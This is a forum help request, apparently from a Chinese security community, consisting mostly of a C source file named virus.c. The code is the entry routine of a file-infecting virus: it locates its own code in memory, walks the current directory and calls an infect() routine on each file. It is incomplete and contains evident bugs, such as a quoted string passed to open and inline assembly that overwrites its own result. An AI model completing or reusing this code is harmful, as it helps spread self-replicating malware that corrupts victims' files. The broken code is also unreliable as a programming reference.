-
-
未解决
[悬赏]c程序错误
2.00雪花
-
发表于:
2017-4-11 17:44
2815
-
virus.c:
#include<unistd.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
#include<virus.h>
int SECTION(.text.start) start1(void)
{
unsigned int addr, size;
int h, dir;
char buf[DIRENT_SIZE];
asm volatile (" call 1f; 1: pop %0; mov $(1b - start), %0; mov $(end - start), %1":"=r"(addr),"=r"(size));
dir = '.';
h = open("(char*)&dir", O_RDWR);
if (h < 0)
return 0;
while (readdir(h, buf) == 1)
if (infect(buf + DIRENT_DNAME, addr, size) == 1)
break;
close(h);
return 1;
}
void SECTION(.text.end) end1(void)
{}
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!